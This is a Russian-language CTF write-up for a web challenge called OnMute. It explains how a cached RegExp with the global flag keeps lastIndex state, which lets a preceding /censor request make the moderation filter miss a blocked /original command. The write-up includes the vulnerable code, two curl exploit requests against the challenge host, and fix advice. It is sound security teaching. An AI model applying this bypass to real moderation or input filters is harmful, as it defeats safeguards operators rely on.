July 26

OnMute — Writeup

Категория: Misc / Web

Автор: Влад Росков @mrvos SPbCTF

Автор writeup: @m0nr0e21


OnMute — музыкальная площадка с агрессивной модерацией текстов треков: любое слово из растущего блок-листа немедленно вырезается из комментариев. В одном из треков автор спрятал отсылку для своих, которую заодно тоже зацензурили. Цель — обойти цензуру и достать полный (оригинальный) текст трека.

Разведка

В исходниках интересны три файла:
server/src/moderation/filter.js — сам фильтр контента;
server/src/bot/commands.js — обработчик текстовых команд бота (/help, /censor, /report, /status, /original);
server/src/routes/comments.js — маршрут POST /api/tracks/:id/comment, который сначала прогоняет присланный текст через фильтр и только потом передаёт его парсеру команд.
Ключевая находка — команда /original <id>:

case 'original': {
  const original = await getOriginalText(cmd.trackId);
  if (!original) return { type: 'bot', message: `Трек #${cmd.trackId} не найден.` };
  return { type: 'bot', command: '/original', message: original };
}

Она отдаёт необрезанный оригинал трека — включая всё, что цензура вырезала из публичной версии. Проблема в том, что строка /original сама лежит в блок-листе:

export const BLOCKED_WORDS = [
  '/original',
  'блин', 'чёрт', 'жесть', 'фигня',
  ...
];

То есть простое сообщение "/original 4" будет заблокировано фильтром ещё до того, как до него доберётся parseCommand().

Уязвимость

В server/src/moderation/filter.js для каждой сессии кешируется один и тот же объект RegExp с флагом g:

function getPolicy(sessionId) {
  if (!policies.has(sessionId)) {
    policies.set(sessionId, {
      id: sessionId,
      re: new RegExp(`(?:${BLOCKED_WORDS.join('|')})(?=[\\s.,!?;:)}\\]"'»]|$)`, 'gi'),
    });
  }
  return policies.get(sessionId);
}

Классическая ошибка со stateful глобальным regex: RegExp.prototype.lastIndex — общее изменяемое состояние объекта, а не вызова.

  • checkContent() крутит re.exec() в цикле до null → lastIndex сбрасывается в 0.
  • matchesPolicy() (внутри /censor) делает один re.test() → при совпадении lastIndex остаётся > 0.

Оба метода используют один и тот же кэшированный re (по sessionId из cookie). Поэтому lastIndex, оставленный /censor, наследуется следующим checkContent().

Эффект

Если /censor поднимает lastIndex до N, а сообщение короче N символов, re.exec() начинает поиск с позиции N и пропускает начало строки (в т.ч. /original).

parseCommand() при этом матчит /original по чистому ^\/original..., поэтому команда всё равно выполняется.

Эксплуатация

Цель - трек 4, нужно найти censored-тексте найти слово из блок-листа ≤10 символов с разделителем сразу после (чтобы matchesPolicy() оставил lastIndex > 0). В бридже трека 4 — «Тише» (позиции 868–872).

curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
  -H 'Content-Type: application/json' \
  -d '{"text":"/censor 868 872"}'

matchesPolicy("Тише") находит совпадение целиком (лукахед (?=...|$) срабатывает на конец строки фрагмента) → lastIndex объекта regex для этой сессии становится равен 4.
Тем же сессионным куки сразу отправляем настоящую цель:

curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
  -H 'Content-Type: application/json' \
  -d '{"text":"/original 4"}'

checkContent() начинает поиск совпадений в строке "/original 4" с позиции 4 (унаследованной от шага 2). Слово /original начинается с позиции 0, поэтому поймать его уже нельзя — фильтр не находит нарушений и пропускает сообщение. parseCommand() независимо распознаёт /original 4 и выполняет handleCommand(), который возвращает полный оригинальный текст трека.

Результат

{
  "ok": true,
  "type": "bot",
  "command": "/original",
  "message": "...[Аутро]\n...\nЗабираю своё. Вот он - ключ. Вот он - флаг: }"
}

Причина уязвимости

Название флага обыгрывает суть бага: флаг g заставляет RegExp хранить lastIndex между вызовами. Когда один и тот же объект переиспользуется в разных функциях (цикл exec() до null vs одиночный test()), они неявно влияют друг на друга через общее мутируемое состояние. «Тишина» (censor на «Тише») буквально заглушила фильтр символа / и пропустила команду /original.

Как правильно чинить

Не кэшировать RegExp с g/y между независимыми вызовами — либо создавать новый объект каждый раз, либо явно делать re.lastIndex = 0.

Не полагаться на автосброс lastIndex при exec() === null (работает только если цикл доходит до конца строки).

Использовать String.prototype.matchAll() (stateless) или выделенный regex без g для точечных проверок (matchesPolicy), отдельно от полного сканирования (checkContent).